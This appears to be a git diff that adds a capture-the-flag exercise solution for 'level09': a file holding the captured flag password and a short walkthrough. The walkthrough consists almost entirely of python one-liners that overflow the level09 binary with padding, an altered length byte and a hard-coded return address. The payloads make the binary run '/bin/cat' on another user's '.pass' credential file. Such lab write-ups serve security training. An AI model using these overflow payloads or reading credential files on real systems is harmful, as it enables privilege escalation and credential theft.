diff --git a/level09/flag b/level09/flag
new file mode 100644
index 0000000..6f04f58
--- /dev/null
+++ b/level09/flag
@@ -0,0 +1 @@
+j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
diff --git a/level09/walkthrough b/level09/walkthrough
new file mode 100644
index 0000000..7431a9f
--- /dev/null
+++ b/level09/walkthrough
@@ -0,0 +1,9 @@
+/home/users/level09/level09 < <(python -c "print('a'*40+'\xff'+' '*208+'/bin/cat /home/users/end/.pass;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')")
+
+python -c "print('a'*40+'\xff'+' '*208+'/bin/cat /home/users/end/.pass    ;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')" | env -i /home/users/level09/level09
+
+
+
+This should win :
+python -c "print('a'*40+'\xff'+' '*204+'/bin/cat /home/users/end/.pass    ;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')" | env -i /home/users/level09/level09
+